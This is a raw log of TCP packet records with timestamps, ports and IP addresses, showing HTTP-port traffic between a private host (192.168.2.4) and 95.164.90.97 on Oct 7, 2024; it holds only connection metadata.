Oct 7, 2024 18:43:39.219481945 CEST	80	51632	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:39.219491959 CEST	80	51632	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:39.219494104 CEST	51632	80	192.168.2.4	95.164.90.97
Oct 7, 2024 18:43:39.219494104 CEST	51632	80	192.168.2.4	95.164.90.97
Oct 7, 2024 18:43:39.219501972 CEST	80	51632	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:39.219510078 CEST	51632	80	192.168.2.4	95.164.90.97
Oct 7, 2024 18:43:39.219510078 CEST	51632	80	192.168.2.4	95.164.90.97
Oct 7, 2024 18:43:39.219511986 CEST	80	51632	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:39.219517946 CEST	51632	80	192.168.2.4	95.164.90.97
Oct 7, 2024 18:43:39.219522953 CEST	80	51632	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:39.219532967 CEST	80	51632	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:39.219543934 CEST	51632	80	192.168.2.4	95.164.90.97
Oct 7, 2024 18:43:39.219547987 CEST	80	51632	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:39.219561100 CEST	51632	80	192.168.2.4	95.164.90.97
Oct 7, 2024 18:43:39.219578981 CEST	51632	80	192.168.2.4	95.164.90.97
Oct 7, 2024 18:43:39.219590902 CEST	80	51632	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:39.219600916 CEST	80	51632	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:39.219604969 CEST	51632	80	192.168.2.4	95.164.90.97
Oct 7, 2024 18:43:39.219609976 CEST	80	51632	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:39.219620943 CEST	80	51632	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:39.219628096 CEST	51632	80	192.168.2.4	95.164.90.97
Oct 7, 2024 18:43:39.219630957 CEST	80	51632	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:39.219640970 CEST	51632	80	192.168.2.4	95.164.90.97
Oct 7, 2024 18:43:39.219641924 CEST	80	51632	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:39.219654083 CEST	80	51632	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:39.219664097 CEST	80	51632	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:39.219666004 CEST	51632	80	192.168.2.4	95.164.90.97
Oct 7, 2024 18:43:39.219687939 CEST	51632	80	192.168.2.4	95.164.90.97
Oct 7, 2024 18:43:39.219705105 CEST	51632	80	192.168.2.4	95.164.90.97
Oct 7, 2024 18:43:39.219996929 CEST	80	51632	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:39.220009089 CEST	80	51632	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:39.220021009 CEST	80	51632	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:39.220046997 CEST	51632	80	192.168.2.4	95.164.90.97
Oct 7, 2024 18:43:39.220062971 CEST	51632	80	192.168.2.4	95.164.90.97
Oct 7, 2024 18:43:39.220196009 CEST	80	51632	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:39.220207930 CEST	80	51632	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:39.220217943 CEST	80	51632	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:39.220227957 CEST	80	51632	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:39.220232964 CEST	51632	80	192.168.2.4	95.164.90.97
Oct 7, 2024 18:43:39.220237970 CEST	80	51632	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:39.220243931 CEST	51632	80	192.168.2.4	95.164.90.97
Oct 7, 2024 18:43:39.220247984 CEST	80	51632	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:39.220257998 CEST	80	51632	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:39.220266104 CEST	51632	80	192.168.2.4	95.164.90.97
Oct 7, 2024 18:43:39.220268011 CEST	80	51632	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:39.220278978 CEST	80	51632	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:39.220288038 CEST	80	51632	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:39.220297098 CEST	51632	80	192.168.2.4	95.164.90.97
Oct 7, 2024 18:43:39.220298052 CEST	80	51632	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:39.220304012 CEST	51632	80	192.168.2.4	95.164.90.97
Oct 7, 2024 18:43:39.220335007 CEST	51632	80	192.168.2.4	95.164.90.97
Oct 7, 2024 18:43:39.220710039 CEST	80	51632	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:39.220721006 CEST	80	51632	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:39.220731020 CEST	80	51632	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:39.220741987 CEST	80	51632	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:39.220752001 CEST	80	51632	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:39.220753908 CEST	51632	80	192.168.2.4	95.164.90.97
Oct 7, 2024 18:43:39.220762014 CEST	80	51632	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:39.220767021 CEST	51632	80	192.168.2.4	95.164.90.97
Oct 7, 2024 18:43:39.220772028 CEST	80	51632	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:39.220789909 CEST	80	51632	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:39.220793009 CEST	51632	80	192.168.2.4	95.164.90.97
Oct 7, 2024 18:43:39.220798016 CEST	80	51632	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:39.220799923 CEST	80	51632	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:39.220803022 CEST	80	51632	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:39.220809937 CEST	80	51632	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:39.220817089 CEST	80	51632	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:39.220818996 CEST	51632	80	192.168.2.4	95.164.90.97
Oct 7, 2024 18:43:39.220823050 CEST	80	51632	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:39.220870018 CEST	51632	80	192.168.2.4	95.164.90.97
Oct 7, 2024 18:43:39.220870018 CEST	51632	80	192.168.2.4	95.164.90.97
Oct 7, 2024 18:43:39.220979929 CEST	80	51632	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:39.221097946 CEST	80	51632	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:39.221115112 CEST	80	51632	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:39.221126080 CEST	80	51632	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:39.221127033 CEST	51632	80	192.168.2.4	95.164.90.97
Oct 7, 2024 18:43:39.221137047 CEST	80	51632	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:39.221138954 CEST	51632	80	192.168.2.4	95.164.90.97
Oct 7, 2024 18:43:39.221164942 CEST	51632	80	192.168.2.4	95.164.90.97
Oct 7, 2024 18:43:39.221187115 CEST	51632	80	192.168.2.4	95.164.90.97
Oct 7, 2024 18:43:39.221319914 CEST	80	51632	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:39.221330881 CEST	80	51632	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:39.221342087 CEST	80	51632	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:39.221358061 CEST	80	51632	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:39.221369028 CEST	80	51632	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:39.221370935 CEST	51632	80	192.168.2.4	95.164.90.97
Oct 7, 2024 18:43:39.221379042 CEST	80	51632	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:39.221383095 CEST	51632	80	192.168.2.4	95.164.90.97
Oct 7, 2024 18:43:39.221390009 CEST	80	51632	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:39.221401930 CEST	51632	80	192.168.2.4	95.164.90.97
Oct 7, 2024 18:43:39.221401930 CEST	80	51632	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:39.221412897 CEST	80	51632	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:39.221422911 CEST	80	51632	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:39.221431017 CEST	51632	80	192.168.2.4	95.164.90.97
Oct 7, 2024 18:43:39.221432924 CEST	80	51632	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:39.221442938 CEST	80	51632	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:39.221448898 CEST	51632	80	192.168.2.4	95.164.90.97
Oct 7, 2024 18:43:39.221455097 CEST	80	51632	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:39.221465111 CEST	80	51632	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:39.221466064 CEST	51632	80	192.168.2.4	95.164.90.97
Oct 7, 2024 18:43:39.221474886 CEST	80	51632	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:39.221483946 CEST	51632	80	192.168.2.4	95.164.90.97
Oct 7, 2024 18:43:39.221484900 CEST	80	51632	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:39.221494913 CEST	80	51632	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:39.221509933 CEST	51632	80	192.168.2.4	95.164.90.97
Oct 7, 2024 18:43:39.221539021 CEST	51632	80	192.168.2.4	95.164.90.97
Oct 7, 2024 18:43:39.302339077 CEST	80	51632	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:39.302380085 CEST	80	51632	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:39.302392006 CEST	80	51632	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:39.302509069 CEST	51632	80	192.168.2.4	95.164.90.97
Oct 7, 2024 18:43:39.302509069 CEST	51632	80	192.168.2.4	95.164.90.97
Oct 7, 2024 18:43:39.302546024 CEST	80	51632	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:39.302556992 CEST	80	51632	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:39.302565098 CEST	80	51632	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:39.302576065 CEST	80	51632	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:39.302587032 CEST	80	51632	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:39.302596092 CEST	80	51632	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:39.302604914 CEST	80	51632	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:39.302623034 CEST	80	51632	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:39.302629948 CEST	80	51632	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:39.302634954 CEST	80	51632	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:39.302653074 CEST	51632	80	192.168.2.4	95.164.90.97
Oct 7, 2024 18:43:39.302653074 CEST	51632	80	192.168.2.4	95.164.90.97
Oct 7, 2024 18:43:39.302653074 CEST	51632	80	192.168.2.4	95.164.90.97
Oct 7, 2024 18:43:39.302656889 CEST	80	51632	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:39.302653074 CEST	51632	80	192.168.2.4	95.164.90.97
Oct 7, 2024 18:43:39.302670956 CEST	80	51632	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:39.302680969 CEST	80	51632	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:39.302726030 CEST	51632	80	192.168.2.4	95.164.90.97
Oct 7, 2024 18:43:39.302726030 CEST	51632	80	192.168.2.4	95.164.90.97
Oct 7, 2024 18:43:39.302726030 CEST	51632	80	192.168.2.4	95.164.90.97
Oct 7, 2024 18:43:39.303066015 CEST	80	51632	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:39.303076029 CEST	80	51632	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:39.303087950 CEST	80	51632	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:39.303098917 CEST	80	51632	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:39.303108931 CEST	80	51632	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:39.303118944 CEST	80	51632	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:39.303128958 CEST	80	51632	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:39.303138018 CEST	80	51632	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:39.303154945 CEST	80	51632	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:39.303165913 CEST	80	51632	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:39.303169966 CEST	51632	80	192.168.2.4	95.164.90.97
Oct 7, 2024 18:43:39.303169966 CEST	51632	80	192.168.2.4	95.164.90.97
Oct 7, 2024 18:43:39.303169966 CEST	51632	80	192.168.2.4	95.164.90.97
Oct 7, 2024 18:43:39.303169966 CEST	51632	80	192.168.2.4	95.164.90.97
Oct 7, 2024 18:43:39.303174973 CEST	80	51632	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:39.303186893 CEST	80	51632	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:39.303200006 CEST	80	51632	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:39.303204060 CEST	51632	80	192.168.2.4	95.164.90.97
Oct 7, 2024 18:43:39.303210974 CEST	80	51632	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:39.303220987 CEST	80	51632	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:39.303247929 CEST	51632	80	192.168.2.4	95.164.90.97
Oct 7, 2024 18:43:39.303247929 CEST	51632	80	192.168.2.4	95.164.90.97
Oct 7, 2024 18:43:39.303263903 CEST	51632	80	192.168.2.4	95.164.90.97
Oct 7, 2024 18:43:39.303457975 CEST	80	51632	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:39.303634882 CEST	80	51632	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:39.303644896 CEST	80	51632	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:39.303654909 CEST	80	51632	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:39.303666115 CEST	80	51632	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:39.303675890 CEST	80	51632	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:39.303685904 CEST	80	51632	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:39.303697109 CEST	80	51632	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:39.303735018 CEST	51632	80	192.168.2.4	95.164.90.97
Oct 7, 2024 18:43:39.303735018 CEST	51632	80	192.168.2.4	95.164.90.97
Oct 7, 2024 18:43:39.303735018 CEST	51632	80	192.168.2.4	95.164.90.97
Oct 7, 2024 18:43:39.303735018 CEST	51632	80	192.168.2.4	95.164.90.97
Oct 7, 2024 18:43:39.303775072 CEST	80	51632	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:39.303785086 CEST	80	51632	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:39.303797007 CEST	80	51632	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:39.303807020 CEST	80	51632	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:39.303823948 CEST	80	51632	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:39.303837061 CEST	80	51632	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:39.303843975 CEST	80	51632	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:39.303845882 CEST	51632	80	192.168.2.4	95.164.90.97
Oct 7, 2024 18:43:39.303845882 CEST	51632	80	192.168.2.4	95.164.90.97
Oct 7, 2024 18:43:39.303850889 CEST	80	51632	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:39.303857088 CEST	80	51632	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:39.303862095 CEST	80	51632	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:39.303869009 CEST	80	51632	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:39.303875923 CEST	80	51632	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:39.303880930 CEST	80	51632	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:39.303881884 CEST	80	51632	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:39.303886890 CEST	51632	80	192.168.2.4	95.164.90.97
Oct 7, 2024 18:43:39.303886890 CEST	51632	80	192.168.2.4	95.164.90.97
Oct 7, 2024 18:43:39.303934097 CEST	51632	80	192.168.2.4	95.164.90.97
Oct 7, 2024 18:43:39.303949118 CEST	80	51632	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:39.303960085 CEST	80	51632	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:39.303970098 CEST	80	51632	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:39.303980112 CEST	80	51632	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:39.303989887 CEST	80	51632	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:39.304001093 CEST	80	51632	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:39.304011106 CEST	80	51632	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:39.304020882 CEST	80	51632	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:39.304027081 CEST	51632	80	192.168.2.4	95.164.90.97
Oct 7, 2024 18:43:39.304027081 CEST	51632	80	192.168.2.4	95.164.90.97
Oct 7, 2024 18:43:39.304027081 CEST	51632	80	192.168.2.4	95.164.90.97
Oct 7, 2024 18:43:39.304030895 CEST	80	51632	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:39.304050922 CEST	51632	80	192.168.2.4	95.164.90.97
Oct 7, 2024 18:43:39.304059029 CEST	80	51632	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:39.304069042 CEST	80	51632	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:39.304079056 CEST	80	51632	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:39.304095984 CEST	80	51632	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:39.304097891 CEST	51632	80	192.168.2.4	95.164.90.97
Oct 7, 2024 18:43:39.304097891 CEST	80	51632	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:39.304097891 CEST	51632	80	192.168.2.4	95.164.90.97
Oct 7, 2024 18:43:39.304105043 CEST	80	51632	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:39.304112911 CEST	80	51632	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:39.304130077 CEST	51632	80	192.168.2.4	95.164.90.97
Oct 7, 2024 18:43:39.304266930 CEST	80	51632	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:39.304276943 CEST	80	51632	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:39.304286957 CEST	80	51632	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:39.304297924 CEST	80	51632	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:39.304308891 CEST	80	51632	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:39.304320097 CEST	80	51632	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:39.304322958 CEST	51632	80	192.168.2.4	95.164.90.97
Oct 7, 2024 18:43:39.304322958 CEST	51632	80	192.168.2.4	95.164.90.97
Oct 7, 2024 18:43:39.304322958 CEST	51632	80	192.168.2.4	95.164.90.97
Oct 7, 2024 18:43:39.304333925 CEST	80	51632	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:39.304342985 CEST	80	51632	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:39.304388046 CEST	51632	80	192.168.2.4	95.164.90.97
Oct 7, 2024 18:43:39.304388046 CEST	51632	80	192.168.2.4	95.164.90.97
Oct 7, 2024 18:43:39.304389000 CEST	51632	80	192.168.2.4	95.164.90.97
Oct 7, 2024 18:43:39.304415941 CEST	80	51632	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:39.304426908 CEST	80	51632	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:39.304439068 CEST	80	51632	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:39.304513931 CEST	80	51632	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:39.304519892 CEST	80	51632	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:39.304526091 CEST	80	51632	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:39.304557085 CEST	51632	80	192.168.2.4	95.164.90.97
Oct 7, 2024 18:43:39.304557085 CEST	51632	80	192.168.2.4	95.164.90.97
Oct 7, 2024 18:43:39.304557085 CEST	51632	80	192.168.2.4	95.164.90.97
Oct 7, 2024 18:43:39.304630995 CEST	80	51632	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:39.304646969 CEST	80	51632	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:39.304652929 CEST	80	51632	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:39.304658890 CEST	80	51632	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:39.304696083 CEST	51632	80	192.168.2.4	95.164.90.97
Oct 7, 2024 18:43:39.304696083 CEST	51632	80	192.168.2.4	95.164.90.97
Oct 7, 2024 18:43:39.304799080 CEST	80	51632	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:39.304810047 CEST	80	51632	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:39.304820061 CEST	80	51632	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:39.304836035 CEST	80	51632	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:39.304846048 CEST	80	51632	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:39.304856062 CEST	51632	80	192.168.2.4	95.164.90.97
Oct 7, 2024 18:43:39.304856062 CEST	51632	80	192.168.2.4	95.164.90.97
Oct 7, 2024 18:43:39.304863930 CEST	80	51632	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:39.304874897 CEST	80	51632	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:39.304883003 CEST	51632	80	192.168.2.4	95.164.90.97
Oct 7, 2024 18:43:39.304883957 CEST	80	51632	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:39.304894924 CEST	80	51632	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:39.304904938 CEST	80	51632	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:39.304913998 CEST	80	51632	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:39.304920912 CEST	51632	80	192.168.2.4	95.164.90.97
Oct 7, 2024 18:43:39.304920912 CEST	51632	80	192.168.2.4	95.164.90.97
Oct 7, 2024 18:43:39.304924011 CEST	80	51632	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:39.304934978 CEST	80	51632	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:39.304974079 CEST	51632	80	192.168.2.4	95.164.90.97
Oct 7, 2024 18:43:39.304974079 CEST	51632	80	192.168.2.4	95.164.90.97
Oct 7, 2024 18:43:39.304974079 CEST	51632	80	192.168.2.4	95.164.90.97
Oct 7, 2024 18:43:39.305495024 CEST	80	51632	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:39.305506945 CEST	80	51632	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:39.305517912 CEST	80	51632	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:39.305560112 CEST	51632	80	192.168.2.4	95.164.90.97
Oct 7, 2024 18:43:39.305560112 CEST	51632	80	192.168.2.4	95.164.90.97
Oct 7, 2024 18:43:39.305565119 CEST	80	51632	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:39.305576086 CEST	80	51632	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:39.305584908 CEST	80	51632	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:39.305594921 CEST	80	51632	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:39.305613995 CEST	80	51632	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:39.305629015 CEST	80	51632	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:39.305661917 CEST	51632	80	192.168.2.4	95.164.90.97
Oct 7, 2024 18:43:39.305661917 CEST	51632	80	192.168.2.4	95.164.90.97
Oct 7, 2024 18:43:39.305661917 CEST	51632	80	192.168.2.4	95.164.90.97
Oct 7, 2024 18:43:39.305676937 CEST	51632	80	192.168.2.4	95.164.90.97
Oct 7, 2024 18:43:39.305696964 CEST	80	51632	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:39.305735111 CEST	51632	80	192.168.2.4	95.164.90.97
Oct 7, 2024 18:43:39.305763006 CEST	80	51632	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:39.305774927 CEST	80	51632	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:39.305785894 CEST	80	51632	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:39.305795908 CEST	80	51632	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:39.305805922 CEST	80	51632	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:39.305816889 CEST	80	51632	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:39.305816889 CEST	51632	80	192.168.2.4	95.164.90.97
Oct 7, 2024 18:43:39.305816889 CEST	51632	80	192.168.2.4	95.164.90.97
Oct 7, 2024 18:43:39.305857897 CEST	51632	80	192.168.2.4	95.164.90.97
Oct 7, 2024 18:43:39.305857897 CEST	51632	80	192.168.2.4	95.164.90.97
Oct 7, 2024 18:43:39.305857897 CEST	51632	80	192.168.2.4	95.164.90.97
Oct 7, 2024 18:43:39.347042084 CEST	80	51632	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:39.347053051 CEST	80	51632	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:39.347062111 CEST	80	51632	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:39.347280025 CEST	80	51632	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:39.347289085 CEST	80	51632	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:39.347297907 CEST	80	51632	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:39.347307920 CEST	80	51632	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:39.347323895 CEST	51632	80	192.168.2.4	95.164.90.97
Oct 7, 2024 18:43:39.347323895 CEST	51632	80	192.168.2.4	95.164.90.97
Oct 7, 2024 18:43:39.347323895 CEST	51632	80	192.168.2.4	95.164.90.97
Oct 7, 2024 18:43:39.347404003 CEST	51632	80	192.168.2.4	95.164.90.97
Oct 7, 2024 18:43:39.396147013 CEST	80	51632	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:39.396171093 CEST	80	51632	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:39.396183014 CEST	80	51632	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:39.396193027 CEST	80	51632	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:39.396203041 CEST	80	51632	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:39.396213055 CEST	80	51632	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:39.396224022 CEST	80	51632	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:39.396228075 CEST	51632	80	192.168.2.4	95.164.90.97
Oct 7, 2024 18:43:39.396234035 CEST	80	51632	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:39.396246910 CEST	80	51632	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:39.396258116 CEST	80	51632	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:39.396267891 CEST	80	51632	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:39.396276951 CEST	80	51632	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:39.396286964 CEST	80	51632	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:39.396296024 CEST	80	51632	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:39.396306992 CEST	80	51632	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:39.396317005 CEST	51632	80	192.168.2.4	95.164.90.97
Oct 7, 2024 18:43:39.396317005 CEST	51632	80	192.168.2.4	95.164.90.97
Oct 7, 2024 18:43:39.396317005 CEST	51632	80	192.168.2.4	95.164.90.97
Oct 7, 2024 18:43:39.396318913 CEST	80	51632	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:39.396331072 CEST	51632	80	192.168.2.4	95.164.90.97
Oct 7, 2024 18:43:39.396341085 CEST	51632	80	192.168.2.4	95.164.90.97
Oct 7, 2024 18:43:39.396462917 CEST	51632	80	192.168.2.4	95.164.90.97
Oct 7, 2024 18:43:39.396713972 CEST	80	51632	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:39.396725893 CEST	80	51632	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:39.396734953 CEST	80	51632	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:39.396744967 CEST	80	51632	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:39.396754980 CEST	80	51632	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:39.396764994 CEST	80	51632	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:39.396775007 CEST	80	51632	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:39.396785021 CEST	51632	80	192.168.2.4	95.164.90.97
Oct 7, 2024 18:43:39.396785021 CEST	80	51632	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:39.396785021 CEST	51632	80	192.168.2.4	95.164.90.97
Oct 7, 2024 18:43:39.396795988 CEST	80	51632	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:39.396799088 CEST	51632	80	192.168.2.4	95.164.90.97
Oct 7, 2024 18:43:39.396806002 CEST	80	51632	95.164.90.97	192.168.2.4
